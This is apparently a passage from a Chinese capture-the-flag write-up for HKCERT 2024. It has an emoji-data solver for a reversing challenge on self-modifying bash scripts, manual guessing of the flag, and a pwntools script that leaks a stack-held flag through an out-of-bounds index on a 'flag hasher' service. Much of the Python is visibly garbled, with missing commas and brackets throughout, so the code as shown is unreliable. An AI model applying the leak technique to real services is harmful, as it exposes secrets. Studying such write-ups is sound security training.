👯 👃 💅 👗 💍 💉 👂
💏 👃 💔 👵 💌 👟 👤
👚 👃 👵 💈 👣 💃 👈
💐 👄 👄 💍 👂 👟 👂
👞 👅 👌 👟 👮 💓 💈
👋 👄 👏 👔 👴 👃 👐
💆 👃 👍 💖 💔 👕 👨
💍 👅 👅 👯 💒 👥 👂
👙 👃 👌 👒 👆 👵 👴
👠 👅 👄 👡 👞 👭 💔
👩 👄 👃 💃 👏 💁 👂
💃 👅 👎 👢 👩 👃 👬
👠 👃 👹 👟 👇 👛 👂
👯 👃 👆 👰 👬 👍 💌
💌 👃 👉 👮 💁 👹 👌
👝 👃 👇 👻 👓 👇 💘
👴 👅 👃 👗 💃 💅 👜
💒 👄 👏 👒 👯 👿 💀
👂 👄 👑 👬 👧 👝 👂
👵 👄 👉 👺 👂 👃 👼
💖 👄 👍 👯 👕 👹 👸
💄 👃 👇 💎 👸 💑 👨
👈 👄 👡 💁 👂 👇 👼
👓 👃 👇 💒 👲 👝 👂
👎 👃 👍 👠 👕 👓 👈
💒 👄 👇 👗 👃 👛 👜
👦 👅 👃 👕 💅 👿 👂
👄 👄 👆 👠 💗 💃 💔
💒 👅 👊 👵 💁 👣 💄
👧 👃 👂 💀 👣 👩 👂
👣 👅 👈 💇 💘 💃 👈
💑 👃 👎 💓 👡 👑 👸
👒 👄 👎 💄 👸 👉 👂
💎 👄 👇 👅 👭 👻 💔
💆 👅 👯 👇 👓 👋 👂
👵 👃 👌 👧 👈 👋 👼
💕 👃 💐 💅 👫 👍 👠
👦 👅 👆 👆 👚 👏 💔
💓 👅 👍 👦 👋 👻 👤
👼 👄 👉 👓 👅 👅 👘
💏 👄 👏 💎 👩 👝 💈
👶 👅 👂 👑 👡 👧 💌
👱 👃 👅 💔 💏 👥 👂
👝 👄 👅 👭 👜 💃 👂
💂 👃 💑 💓 👆 👝 👸
👹 👅 👸 👖 👻 💗 👂
👠 👅 👈 👰 💖 👓 👂
💆 👅 👍 👛 👘 👉 👨
👻 👅 👆 💕 👟 👍 💌
👙 👅 👋 💋 💄 👫 👂
👥 👄 👊 👵 💕 👣 👂
👴 👃 👃 👎 👝 👏 👂
👷 👃 👏 👗 👡 👱 👂
👸 👄 👄 💖 👙 👹 👂
💖 👃 👃 👪 👰 👻 👬
💌 👃 👇 👠 👘 👭 👂
💁 👅 💊 💏 👏 👩 👜
👔 👃 👅 👟 👆 👿 👂
👻 👅 👊 💈 💃 👙 👰
👜 👅 👏 👩 👰 💋 👂
👘 👄 👅 💎 👯 👃 👂
👊 👅 👍 👏 👬 👝 👂
👕 👅 👆 💂 👷 👑 👂
👥 👅 👎 👫 💏 👡 👂
💍 👃 👌 👑 👃 💁 👂
👑 👅 👑 💕 💃 💉 👠
👝 👅 👋 👌 👰 👿 👂
👭 👅 👊 👰 👼 👇 👂
👤 👃 👂 👒 💄 💉 👬
💔 👅 👉 💊 💗 💓 👂
👈 👄 👏 💘 👑 👿 💈
👢 👃 👆 👏 👔 💓 💄
👗 👃 👆 👱 👜 👯 👐
👖 👃 👉 👽 👟 👧 👜
👸 👅 👑 👎 👈 👣 👂
👬 👅 👋 👸 💘 👻 💄
👅 👅 👇 👇 👇 👻 👈
💄 👃 👲 💀 💘 👧 👂
👼 👅 💐 💍 👻 💏 👂
👮 👅 👢 💍 👚 💇 💘
👶 👃 👍 👫 👘 👿 👌
👪 👃 👉 👐 👭 👥 👂
💇 👄 👌 👺 👓 👛 👴
👔 👅 👂 💖 👊 👷 👘
💓 👄 👋 💏 👗 👳 👨
👭 👄 👂 👿 👘 👷 👂
👯 👃 👽 👡 👵 👋 👂
💑 👅 💃 👾 💖 👇 👈
💓 👃 👌 💆 👛 💗 💌
👘 👃 👅 👞 👅 👛 👔
👰 👄 👌 👰 👩 💇 💀
👆 👃 👏 👖 👒 👧 👂
👊 👄 👆 💁 👸 👯 💐
👪 👃 👈 👞 💕 👱 👂
👚 👅 👕 💔 👈 👋 👂
💊 👃 👂 👣 💂 💃 👂
💈 👃 👖 👂 💌 💓 👂
👖 👅 👈 👣 👋 👥 👴
👳 👅 👂 👿 👷 💗 👂
👻 👄 👉 💕 👓 👯 👂
💕 👃 👇 👘 💑 👉 👂
👏 👃 👇 👱 💌 👱 👂
👺 👃 👂 👦 👋 💃 👈
💁 👃 💇 👄 👂 👣 👈
💐 👄 👈 💀 👈 👷 👸
👄 👅 👆 💔 👪 👛 👂
👕 👄 👌 👲 💓 👅 👬
👨 👄 👊 💋 👎 👋 👼
💀 👄 👉 💂 👢 👅 👂
👅 👅 💐 👟 👧 👭 👂
👐 👄 💌 👟 💕 👱 👈
👞 👃 👂 💘 💆 👱 👂
👸 👃 👑 👷 👵 👻 👘
👅 👃 👊 👌 👶 👛 👂
👌 👅 👍 👩 👫 💁 👂
👑 👅 👌 👩 👻 👗 👠
👨 👅 👏 💀 👭 👥 👜
💇 👃 👏 👊 💔 👑 👤
💅 👃 👷 👿 👇 💓 👂
👃 👄 👽 💈 👃 👇 👠
👛 👃 👅 👩 👔 👗 💄
👇 👄 👌 👦 👮 👍 💄
💄 👅 👌 💌 👞 👡 💔
💈 👅 👐 👥 💈 👕 👂
👿 👃 👃 👾 👍 👣 👂
👲 👃 👎 💍 👬 💓 👂
👳 👄 👑 👻 👓 👿 👂
👮 👃 👅 👐 👌 👗 💔
👆 👃 👡 👯 💊 👅 👂
👆 👄 👏 💒 👛 💉 👂
👠 👄 👂 👖 👒 👽 👄
💐 👅 👈 💑 👆 👧 👂
👽 👄 👦 👴 👵 👳 👂
👨 👃 👅 👳 👨 👣 👂
👐 👄 👍 💅 💗 👓 👬
💖 👅 👄 👨 👃 👋 👂
👗 👄 👗 💇 👂 💏 👂
👸 👃 👈 👚 👽 👱 👂
👛 👅 👅 👧 👨 👳 👂
👿 👅 👌 👃 👉 👥 💐
👉 👃 👍 👣 👅 👥 👂
👫 👅 👆 💔 👾 👉 💄
👮 👄 👊 👬 💏 💁 👂
💐 👃 👈 👂 👲 💇 👂
💒 👃 👇 💘 👉 💗 👂
👥 👃 👃 💁 👜 💏 👂
💊 👄 👏 👶 👚 💍 💌
💅 👄 👆 💐 💗 👫 👴
💍 👅 👋 👕 👹 💓 👂
👖 👃 👃 💅 👥 👯 👂
👨 👄 👌 💂 💐 💗 👂
👓 👃 💒 💀 💌 👵 👰
👐 👅 👑 👳 👣 👥 👨
👶 👃 👉 💃 💘 💓 👂
💁 👅 👈 👄 💊 👕 💔
👠 👅 👆 💌 👙 👷 👤
👽 👄 👏 👔 👑 👇 💔
💐 👃 👅 👝 👳 👳 👂
💇 👅 👈 👈 👶 💇 👂
💋 👃 👉 💁 💀 💓 👸
👗 👄 👆 💋 💂 👿 👨
👫 👄 👇 👈 👩 👟 👂
👌 👃 👉 👷 👒 👿 💐
👳 👄 👑 👆 👡 👻 👸
👱 👅 👠 💎 💌 💕 👂
👚 👅 👇 👯 👕 👟 👂
👣 👃 👏 👼 👰 👽 👂
👰 👃 👉 👰 💍 👝 👂
💋 👄 👎 👦 👺 👕 👈
👟 👅 👏 👒 👳 👷 👂
👜 👄 👈 👇 💎 💃 👂
👮 👅 👂 👿 👢 👿 👂
👃 👅 👐 👐 👰 👻 👂
💂 👄 👏 👙 👹 👋 👂
💎 👅 👄 💑 👾 👷 💘
💏 👃 👍 👛 👤 💍 👤
💃 👄 👬 💔 👈 💅 👂
👊 👃 👂 👗 👑 👕 👼
👿 👃 👉 👪 👎 👱 👂
👶 👃 👉 👈 💓 💏 👈
👛 👃 👓 👬 👲 👅 👂
💑 👃 👃 👒 👨 💅 👂
👾 👅 👍 💔 👖 💃 👂
👚 👄 👌 💘 👗 💉 👂
👜 👅 👎 💗 👋 👩 👠
💑 👄 👐 💃 👇 👏 💔
👵 👄 👊 💐 👡 👳 👂
👂 👅 👉 👶 👟 💉 💈
👹 👃 👃 👖 👎 👷 👂
👜 👃 👋 💔 👍 👃 👰
👐 👃 👃 👺 💅 👻 👂
👤 👅 💇 💀 💔 💋 👼
👪 👄 👐 👱 💗 👉 👬
👠 👃 👅 💖 👻 👻 👰
👪 👅 👑 💎 👷 👙 👰
👩 👃 👆 💐 💅 👭 👂
👡 👅 👑 👎 👓 👝 👘
💂 👃 👉 👂 👙 👯 👂
👦 👃 👝 👩 💑 👡 👰
👘 👅 👎 👅 👗 👯 👂
👧 👄 👇 👇 👛 👥 💌
💕 👄 👆 👰 👨 👛 👂
👽 👃 👉 👚 👫 💉 👨
💗 👃 👌 💔 👯 👽 👂
👆 👅 👋 👋 👫 👯 👂
👻 👃 👅 👙 💆 👯 👂
👵 👅 👍 👊 👣 👻 💄
👎 👅 👋 👃 💌 👹 👂
👃 👄 👄 💈 👡 👥 👂
👍 👄 👆 👘 👨 👧 👄
👫 👃 👇 💖 👲 👟 👂
💂 👃 👉 👿 👡 👱 👸
💘 👃 👄 👒 👸 💓 👂
💄 👅 👃 💓 👏 💉 👂
👃 👃 👅 👋 👚 👋 👔
👶 👃 💉 👺 👚 💍 👂
👾 👄 👅 👬 👰 👽 💄
👼 👅 👆 👬 💍 👙 💐
👕 👅 👏 👑 💊 💁 👂
👤 👄 👄 👢 👍 💋 👂
💅 👃 👅 👶 💐 👇 👤
👉 👄 👃 💈 👜 👑 👔
👉 👅 👃 💊 💌 👗 👘
💆 👄 👍 👻 👠 👳 👸
💌 👅 👴 👚 👈 👃 💄
👲 👅 👂 💎 👷 👯 👂
👈 👃 👍 👆 👳 💓 💀
💏 👅 👄 👉 💇 👓 👄
💍 👅 👄 👰 💃 💃 👂
👹 👅 👉 👺 👣 💕 👂
💓 👄 💁 👅 👨 👱 👴
💉 👅 👚 👼 👼 💅 👂
👂 👃 👉 👼 👍 💁 💌
👭 👃 👎 👔 👷 👩 💘
💁 👃 👂 👙 💔 👹 👼
👬 👄 👃 💂 👙 💍 👂
💉 👅 👇 👭 👍 💕 👂
👛 👄 👊 👈 💘 👯 👐
👍 👃 👉 💅 👺 👳 💀
💕 👅 👎 👅 👖 👵 💐
👱 👅 👌 👛 👙 👷 👔
👓 👅 👌 👱 👉 💉 👂
👯 👅 👇 👿 💅 👃 👄
👶 👅 💆 💕 👌 👧 👂
👅 👄 👂 👴 👳 👉 👂
👼 👃 👑 👮 💈 👳 👠
👗 👅 👏 👸 👆 👭 👴
👓 👄 👋 👽 👮 👯 👤
👘 👃 👇 👸 💍 👿 👂
👙 👄 👅 👣 💖 👓 👂'''

def emoji_idx(x):
    if x == "❤️":
        return 87
    return ord(x)-ord("👂")

def emoji_zero_bits(x):
    x = bin(ord(x))[2:]
    return len(x) - x.rindex("1") - 1

emoji = ["👂""👃""👄""👅""👆""👇""👈""👉""👊""👋""👌""👍""👎""👏""👐""👑""👒""👓""👔""👕""👖""👗""👘""👙""👚""👛""👜""👝""👞""👟""👠""👡""👢""👣""👤""👥""👦""👧""👨""👩""👪""👫""👬""👭""👮""👯""👰""👱""👲""👳""👴""👵""👶""👷""👸""👹""👺""👻""👼""👽""👾""👿""💀""💁""💂""💃""💄""💅""💆""💇""💈""💉""💊""💋""💌""💍""💎""💏""💐""💑""💒""💓""💔""💕""💖""💗""💘""❤️"]
assert [emoji_idx(x) for x in emoji] == list(range(88))
emoji_data = emoji_data.split("\n")
emoji_data = [list(map(lambda x: emoji_idx(x), l.split(" ")[:5])) + list(map(lambda x: emoji_zero_bits(x), l.split(" ")[5:])) for l in emoji_data]
file_data = []
sha1_tables = []
PH = "."
FLAGLEN = 87
MAXSZ = 3

def init():
    import string
    from hashlib import sha1
    from itertools import product
    def getFromShell(file):
        l = []
        with open(f"download/{file}.sh""r"as f:
            data = f.read().split("\n")
            for i in range(103359):
                l.append(1 if data[i][-1] == "\\" else 0)
        return l
    def getSha1Tables(n):
        d = {}
        for t in product(charset, repeat=n):
            if "{" in t and "}" in t:
                continue
            s = ''.join(t)
            if (x:=sha1(s.encode()).hexdigest()[1]) not in d.keys():
                d.update({x: [s]})
            else:
                d[x].append(s)
        return d
    # 取得所有下載的腳本的內容
    for i in range(88):
        file_data.append(getFromShell(emoji[i]))
    # 打表sha1 0-9A-Za-z_{}
    charset = string.digits + string.ascii_letters + "_{}"
    for i in range(4):
        sha1_tables.append(getSha1Tables(i))
    # 清空日誌
    with open("flag_log""w"as f:
        f.write("")
    return

MAX_CNT = 64
def dfs(start):
    global MAX_CNT
    def getCondChars(idx):
        return set().union(*[set(s[i] for s in eq_conds[idx-i] if i < len(s)) for i in range(min(idx+1, MAXSZ))])
    def getCondIntrsct(idx0, idx1):
        assert idx0 < idx1 and idx1 - idx0 <= 2
        cond_chars_0 = set(s[idx1 - idx0] for s in eq_conds[idx0] if idx1 - idx0 < len(s))
        cond_chars_1 = set(s[0for s in eq_conds[idx1])
        cond = cond_chars_0.intersection(cond_chars_1)
        # flag格式
        if idx1 not in [886]:
            cond.discard("{")
            cond.discard("}")
        if not cond_chars_0 or (cond == cond_chars_0 and cond == cond_chars_1):
            return False
        eq_conds[idx0] = set(s for s in eq_conds[idx0] if idx1 - idx0 >= len(s) or s[idx1 - idx0] in cond)
        eq_conds[idx1] = set(s for s in eq_conds[idx1] if s[0in cond)
        return True
    def getFlagChars(cur_idx):
        if flag_chars[cur_idx] != PH or len(s:=getCondChars(cur_idx)) == 1:
            if flag_chars[cur_idx] == PH:
                flag_chars[cur_idx] = s.pop()
            eq_conds[cur_idx] = set(s for s in eq_conds[cur_idx] if s[0] == flag_chars[cur_idx])
        for idx in range(max(cur_idx-MAXSZ+10), cur_idx):
            if getCondIntrsct(idx, cur_idx):
                getFlagChars(idx)
                getFlagChars(cur_idx)
        for idx in range(cur_idx+1, min(cur_idx+MAXSZ, FLAGLEN)):
            if getCondIntrsct(cur_idx, idx):
                getFlagChars(cur_idx)
                getFlagChars(idx)
        return
    q = deque()
    q.append(start)
    while q:
        cur = q.pop()
        file_idx, line_idx, eq_conds, neq_conds, flag_chars, zero_cnt = cur
        if zero_cnt >= MAX_CNT:
            continue
        if line_idx >= len(emoji_data):
            break
        # print(file_idx, line_idx, zero_cnt, emoji_data[line_idx])
        hash_idx, hash_sz, hash_dst, eq_jmp, neq_jmp, eq_val, neq_val = emoji_data[line_idx]
        hash_dst = hex(hash_dst)[2:]
        # 計算新的line_idx
        while file_data[file_idx][line_idx] == 1:
            line_idx += 1
        line_idx += 1
        assert eq_val == 0
        # not equal分支
        new_neq_conds = deepcopy(neq_conds)
        new_eq_conds = deepcopy(eq_conds)
        if len(hash_dst) == 1:
            new_neq_conds[hash_idx] |= set(sha1_tables[hash_sz][hash_dst])
        # 刪除與neq_conds有交集的約束
        new_eq_conds[hash_idx].difference_update(new_neq_conds[hash_idx])
        q.append((neq_jmp, line_idx, new_eq_conds, new_neq_conds, flag_chars.copy(), zero_cnt+neq_val))
        if len(hash_dst) > 1# 不可能equal
            continue
        # equal分支
        # 尋找可加入約束中的字串
        cond_chars = [getCondChars(hash_idx+i) for i in range(hash_sz)]
        # 兩個"_"相連不太可能
        tmp_to_add = set(s for s in sha1_tables[hash_sz][hash_dst] if "__" not in s)
        for i in range(hash_sz):
            if cond_chars[i]:
                rm = set(x for x in tmp_to_add if x[i] not in cond_chars[i])
                tmp_to_add.difference_update(rm)
        # 與原有約束沒有交集,丟棄節點
        if not tmp_to_add:
            continue
        # 刪除原約束中不與新約束相交的部分
        cond_chars = [set(s[i] for s in tmp_to_add) for i in range(hash_sz)]
        for i in range(hash_sz):
            idx = hash_idx + i
            for j in range(min(idx+1, MAXSZ)):
                rm = set(s for s in eq_conds[idx-j] if j < len(s) and s[j] not in cond_chars[i])
                eq_conds[idx-j].difference_update(rm)
        eq_conds[hash_idx].update(tmp_to_add)
        # 刪除與neq_conds有交集的約束
        eq_conds[hash_idx].difference_update(neq_conds[hash_idx])
        q.append((eq_jmp, line_idx, eq_conds, deepcopy(neq_conds), flag_chars.copy(), zero_cnt))
    with open("flag_log""a"as f:
        for idx in range(FLAGLEN):
            getFlagChars(idx)
        f.write(''.join(flag_chars)+"\n")
        print(''.join(flag_chars))
        for i in [idx for idx in range(FLAGLEN) if flag_chars[idx] == PH]:
        # for i in range(FLAGLEN):
            f.write(f" {i}{eq_conds[i]}\n")
    return

if __name__ == '__main__':
    from collections import deque
    from copy import deepcopy

    init()
    d = {}
    for i in range(FLAGLEN):
        d.update({i: set()})
    dfs((emoji_idx("❤️"), 0, deepcopy(d), deepcopy(d), [PH]*FLAGLEN, 0))

滿足所有的約束後還是只能拿到一部分flag,剩下的只能靠猜了:

### 猜測時間到!
## flag格式
flag_chars[0] = 'h'
flag_chars[1] = 'k'
flag_chars[8] = '{'
## 兩個單字之間
# s33m1n9ly.b3g19n
# 18: {'_b3', 'Y', '_'}
flag_chars[18] = '_'
## .m0d1.y1n9 -> _modifying
# 76: {'Fm0', '_m0', '_m'}
# 81: {'v', 'f', 'fy', 'fy1'}
flag_chars[81] = 'f'
flag_chars[76] = '_'
## ..3lf -> _self
# 71: {'8s3', '_s3', '_E3'}
# 72: {'s', 's3', 'E'}
flag_chars[72] = 's'
flag_chars[71] = '_'
## d4n93r0... -> dangerous_
# 55: {'us_', 'Ls_', 'u', 'p', 'L', 'LsQ', 'u7_'}
# 56: {'7', 's'}
# 57: {'_w', 'Q', '_wh', '_'}
flag_chars[55] = 'u'
flag_chars[56] = 's'
flag_chars[57] = '_'
## wh....... -> wh.....ey
# 60: {'3Pe', '3n', '0uc', '36C', '0uJ', '0nJ', '3PO', '3p5', '0pC', '3ne', '3Lg', '0pJ', '3pO', '3P5', '3xC', '3p', '3xP', '0p3', '3u0', '3n_', '0xc', '06', '3x_'}
# 61: {'pgs', 'L', 'uCD', 'u', 'nCD', 'P3X', 'nPs', 'L5X', 'x', '6', 'nOE', '60D', 'p3X', 'L5E', 'pCX', '6cD', '6J7', 'n', 'p', 'LgZ', 'LgX', 'PgX', 'ucE', 'xOE', 'P', 'u0D', 'LcX', '6gE', 'ue7', 'n_7', '607', 'xPZ', '65Z', 'xc7', 'PgE', 'uPZ', 'P_X'}
# 62: {'3X', 'CD', 'gE', 'eE', 'eZ', '3s', 'O7', '3Z', '_7', '5D', 'PD', 'cs', '0s', 'JE', 'CE'}
# 63: {'D', 'E', 'X3Y', 'X', 'Dh3', '7', 's', '7KY', '7h3', 'Z'}
# 64: {'K', 'h', 'hY', 'h3', '3'}
# 65: {'3y_', 'YN_'}
# 66: {'N', 'y', 'y_4'}
flag_chars[65] = '3' # 沒有字尾會是YN相連的吧
flag_chars[66] = 'y'
## wh....h3y -> wh...they
# 60: {'0uc', '3Lg', '3PO', '06', '0uJ', '0pC', '3ne', '3xC', '3n_', '3xP', '0nJ', '3Pe', '0p3', '3P5', '3p5', '3u0', '3x_', '3p', '36C', '3pO', '0xc', '0pJ', '3n'}
# 61: {'u0D', 'u', 'p', '60D', 'ucE', 'P3X', 'P', '6', 'nPs', 'uPZ', 'LcX', 'nOE', 'LgX', 'n', 'pCX', '6J7', 'pgs', 'LgZ', 'xc7', 'nCD', '65Z', 'L5X', 'xPZ', 'L5E', 'uCD', '6gE', 'PgE', 'ue7', 'x', 'xOE', 'P_X', 'p3X', '607', '6cD', 'PgX', 'n_7', 'L'}
# 62: {'CE', 'CD', '3s', '3Z', '5D', 'JE', '0s', '3X', 'O7', 'cs', 'eZ', 'eE', '_7', 'gE', 'PD'}
# 63: {'7h3', '7', 'D', 'X', 's', 'Dh3', 'E', 'Z'}
flag_chars[63] = '7' # the和dhe,怎麼看都只能選the吧
## wh.._7h3y -> wh.._they
# 60: {'3n', '3p', '3x_', '3n_', '06'}
# 61: {'p', 'n', '6', 'n_7', 'x'}
flag_chars[61] = 'n' # when?
## b............c0.....3 -> ba...........co.....e
# 27: {'4s', 'xEG', '4sh', 'xEc', 'xED', 'xsV', '4s1', '4E_', '4EQ'}
flag_chars[27] = '4' # ba和bx的開頭,看起來ba可靠點
## b4sh_scr.....c0.....3 -> bash_scripts_co.....e
# 34: {'Nn', '3x', 'p6', 'Z6', 'Rp', '1p', 'op', '0u', 'Qx'}
# 35: {'pMs', 'xo', '6S', 'n7s', '6Ns', 'uEs', 'p7', 'nH', '6_Z', 'n_Z', 'xoZ', 'p', 'nms', 'x6', 'x', 'ntZ', '6H', 'pIZ', 'u', 'p7s', 'nEZ', 'uQs', '6Qs', 'nuZ', '6', 'nIs', 'xdZ', 'xws', 'nI', 'n'}
# 36: {'6sQ', '_s_', 'ws_', 'Qsk', 'MZk', 'SsQ', 'EsY', 'oZ_', 'EZ_', 'IsY', 'mZ_', 'dZk', '7s_', '7Zk', 'tsQ', 'wsk', 'SZk', 'wZk', 'Hsk', 'usY', 'osQ', 'NZ_'}
# 37: {'Z', 's_', 'Zk', 's', 'ZY', 'sQ'}
# 38: {'Y', 'k', '_', '_c', '_c0', 'Q'}
# bash scripts? 36是"_"的話單字太短了,只能38是底線了
flag_chars[34] = '1'
flag_chars[35] = 'p'
flag_chars[36] = '7'
flag_chars[37] = 's'
flag_chars[38] = '_'
## c0.....3 -> co..._.e
# 41: {'IUd', 'Wkj', '1P', 'Znd', 'Xs', 'HI', 'P1H', 'b1j', 'mkd', 'VI', 'Wp5', 'lPd', 'tXd', 'qeH', 'yzd', 'PIH', 'mr5', 'Gej', 'xPH', 'ytH', 'ePH', 'x1H', 'vY', '9Id', 'EH', 'VZ5', 'hzd', 'xH', 'Vnd', 'htd', 'orj', '7YH', 'hnH', 'ePj', 'jH', 'ezH', 'EkH', 'vrd', 'lH5', 'DeH', 'IXj', '1SH', '7td', 'Lt5', '8Y', 'xS5', 'JnH', 'JpH', 'hZj', 'HHd', 'jsj', 'es5', 'eX5', 'KHH', 'Bsj', 'qXd', 'NwH', 'Wnd', '8s', 'yZj', '4U', '_k5', 'bk5', 'xwd', 'HU5', 'Gs', 'kz5', 'Wp', 'QXd', 'xrd', 'sSj', '4X', 'mej', 'xk', 'Tn', 'Q15', 'EsH', 'ie5', 'VzH', 'h1j', 'H0', 'KZj', 'Vrd', 'iUd', 'swd', 'BHH', 'Qzj', 'xHd', 'PwH', '_sj', 'xId', 'brj', '1Uj', 'vH5', 'eI', 'qr', 'j1H', 'vY5', 'Tsj', '1sH', '7H5', 'jej', 'skj', 'ktd', 'EHj', 'qrj', 'PpH', 'JUH', '5Ud', 'yHj', 'Lw', '4HH', 'ewH', 'KUd', 'Csd', '6e', 'D0', 'QU', 'etj', 'Nr5', '9e5', 'LI5', 'sHH', '6pd', 'D1H', 'u1', 'et', 'WY5', 'vXd', 'Btd', 'JS', 'bp5', '_r5', 'Ls', 'eH5', 'hZ5', 'sYd', '5XH', 'Qej', 'J15', 'ZY', '5ZH', 'ur5', 'BI5', 'utH', 'otj', 'KS', 'NeH', 'u1d', 'qwj', 'hI', '4Id', 'HY', '7wH', 'TS5', 'ezj', 'Pe', '5nj', 'aH5', 't0', 'Lk', 'vHj', '_p', 'jPj', 'HtH', 'bP', 'usj', 'qY5', 'Dwj', 'xtH', '8UH', 'EZ5', 'qZH', 'BYj', 'kt', 'Zk', '4p5', 'twH', 't1j', '4sH', 'Ird', 'BUj', 'tIj', '8e5', 'QP', 'i0', 'ys5', '_05', '4s5', 'XU', 'Gwd', '5Hj', 'mZ', '9YH', 'yrj', '6H5', 'Zwd', 'Xrj', 'yI', 'hrj', 'uIH', 'kHH', '_ZH', 't1', 'oXj', '1S', 'IY', 'QSj', 'GId', 'Qwd', 'QHH', '5YH', 'jId', 'sz', 'ZX5', 'JZ5', '6r5', 'GI5', 'tX', 'uZj', 'zId', 'Jw5', 'IZd', 'Hw', 'T0j', 'Ktj', 'G05', 'u1j', '6nj', 'Zrj', 'LsH', 'aUd', 'hej', '7ed', 'LkH', 'sId', 'ZZj', 'tSH', 'Zw', 'Twj', 'btj', 'Qrj', 'v1d', 'QeH', '8ZH', 'op5', '_0', 'hnd', 'Ez5', 'Qrd', 'ktH', 'ke', 'qwd', 'kPj', 'Pe5', 'KYd', '6Zd', 'DPH', 'mzH', '615', '_rj', 'ZHH', 'Tkd', 'Ekd', 'Npj', 'L0j', '4kd', '5X5', 'HU', 'Pp5', 'Hk5', 'sU5', 'PX5', 'Gp5', 'ztd', '6k5', 'hS', 'K0H', 'bI5', 'ZkH', 'IX5'}
# 42: {'H5Y', '1d_', 's5Q', 'nd', 'ed', 'U5', 'r5', 'SHY', 'Hj', 'zH', 'Sj', '1HG', 'td', 'P5', 'p5', 'wd', 'PjQ', '15', 'sH', '1jY', 'kj', 'wj_', 'sjG', 's5', '05Q', 'kd_', 'ZdG', 'kH_', 'XdQ', 'H5_', 'nd_', 'Xd', 'I5G', 'n5G', 'tHG', 'Zd', 'I5', 'sHY', '1d', '0j', 'YdQ', 'Y5', 'Ud', '0jQ', 'IHG', 'Z5Y'}
# 43: {'jGh', 'd_b', '5', 'd', 'dQh', '5Qb', 'jYh', 'H', 'j', 'd_'}
# 44: {'_b3', 'G', 'Q', '_b', 'Gb3', 'Y', '_', 'Yh3', '_h'}
# 45: {'h3_', 'b3_'}
flag_chars[44] = '_' # 42-44的條件中44都有可能是底線,試試
## c0..._b3 -> co..._be
# 41: {'9YH', 'iUd', 'D0', 'xwd', 'HU5', 'IZd', 'j1H', 'jsj', 'op5', 'usj', 'yHj', 'J15', 'Nr5', '5nj', '9Id', 'hS', '5X5', 'hrj', 'Ird', 'xrd', 'xk', 'P1H', 'brj', 'bp5', 'kt', 'Ekd', '7td', 'htd', 'ewH', 'etj', 'D1H', '1P', 'bk5', 'qrj', 'K0H', 'JUH', 'es5', '_sj', 'IX5', 'Tkd', '8UH', '6H5', 'lPd', 'EHj', 'ZkH', 'JpH', 'Qwd', 'swd', 'EZ5', 'Gp5', 'Qej', 'oXj', 'sSj', 'vHj', 'DPH', 'xH', 'sU5', 'uZj', '615', 'hI', '1sH', 'qZH', '4X', 'QeH', '5XH', '5ZH', 'PX5', 'Q15', 'BHH', 'QXd', 'HU', 'KS', 'orj', 'LsH', 'Npj', 'xPH', '7YH', 'twH', 'PwH', 'kPj', 'hnd', 'hzd', 'Wp5', 'vrd', 'XU', 'Xs', 't1', 'QSj', 'LkH', '4p5', '8e5', '4sH', 'kz5', 'ezH', 'i0', 'Hk5', 'VzH', 'HHd', 'IY', 'Lt5', 'Tsj', 'WY5', 'BUj', '8ZH', 'H0', 'Lw', 'bI5', '1S', 'ZZj', 'zId', 'x1H', 'qY5', 'IUd', 'HtH', '4Id', 'yzd', 'KHH', 'ePj', '_0', '6r5', '4HH', 'GId', 'qwj', 'LI5', 'aUd', 'Zrj', 'mej', 'Gej', 'ePH', 'BYj', 'EsH', 'ZHH', 'hnH', 'eH5', 'vY', 'v1d', 'ie5', '_r5', 'kHH', 'ZX5', 'Btd', 'ke', 'sId', 'tX', 'Ez5', 'lH5', 'hZ5', 'Zw', 'qeH', 'Znd', 'mzH', 'EkH', '6k5', 'vXd', 'KZj', '_rj', 'mZ', 'u1d', 'JnH', 'Pe', 'Qrj', 'Dwj', '6Zd', 'tIj', '8s', 'xtH', 'aH5', 'btj', 'Gs', 'QP', 'yrj', 'T0j', '7wH', '_p', 'Hw', 'VI', 'Qrd', 'Csd', 'eI', 'Pp5', 'KYd', 'Qzj', 'NwH', 'eX5', 'sz', 'DeH', 'mr5', 'Twj', 'NeH', '7H5', 'yI', 'tXd', 'h1j', 'vH5', 'ztd', '5Ud', 'TS5', 'Bsj', 'Ls', 'JZ5', 'hZj', 'EH', '6nj', 'ur5', 'PIH', 'QHH', 'Lk', 'QU', 'PpH', 'u1', 'Wp', '6pd', 'Jw5', 'yZj', 'sYd', '8Y', 'G05', 't0', 'Tn', '5YH', 'xId', 'qwd', 'Vrd', 'jPj', 'L0j', 'Ktj', '4s5', 'et', 'otj', 'VZ5', 'ys5', 'BI5', '_k5', 'HY', '4U', 'xHd', 'sHH', 't1j', 'u1j', 'ktd', 'hej', '9e5', 'KUd', '_05', 'GI5', '6e', 'utH', 'uIH', 'Pe5', '1SH', 'IXj', 'jej', '1Uj', '4kd', 'bP', 'ktH', '_ZH', 'xS5', 'skj', 'Xrj', 'Wkj', 'HI', 'b1j', 'jId', 'JS', 'vY5', 'ZY', 'qXd', 'Gwd', '5Hj', 'Zk', 'Vnd', 'ezj', 'jH', 'qr', 'Zwd', 'ytH', '7ed', 'mkd', 'tSH', 'Wnd'}
# 42: {'Zd', 'zH', 'nd', 'td', '15', '1d', 'H5_', 'kj', 's5', 'Ud', 'p5', 'kH_', 'sH', 'kd_', 'Hj', '1d_', 'P5', 'U5', 'I5', 'Y5', 'Sj', '0j', 'r5', 'ed', 'wd', 'Xd', 'wj_', 'nd_'}
# 43: {'d', 'd_', 'd_b', '5', 'H', 'j'}
# seemingly_begign(??? begin?)_bash_scripts_co..._be_dangerous_when_they_are_self_modifying
# could be?
flag_chars[41] = 'u'

然後就能估到flag:hkcert24{s33m1n9ly_b3g19n_b4sh_scr1p7s_c0u1d_b3_d4n93r0us_wh3n_7h3y_4r3_s3lf_m0d1fy1n9}

賽後做出來的,沒交俾平台驗證,應該是對的……吧

Pwn

旗幟雜湊

Flag是透過getenv得到的

透過數組溢位洩漏也保存在棧上的flag

from pwn import *

# context.log_level = "debug" # 最小化日誌記錄
i = 0
while(i < 0x100):
    i += 1
    try:
        r = remote("c55-flag-hasher.hkcert24.pwnable.hk"1337, ssl=True)
        r.recvuntil(b"2 - Read Hash record\n"# 等待直到我們收到這個文本... 這是我們需要回應的時候
        r.sendline(b'2')                       # 發送命令
        r.recvuntil(b"Idx: ")
        idx = i
        print(idx)
        r.sendline(str(idx).encode())          # 將 `idx`的值轉換為字符串,並發送它
        server_response = r.recvline()         # 將服務器的回應保存到變量裡
        print(server_response)
        hex_ouput = server_response.split(b" : ")[1# 從服務器響應中獲取十六進制部分
        print(hex_ouput)
    except:
        pass
    finally:
        r.close()

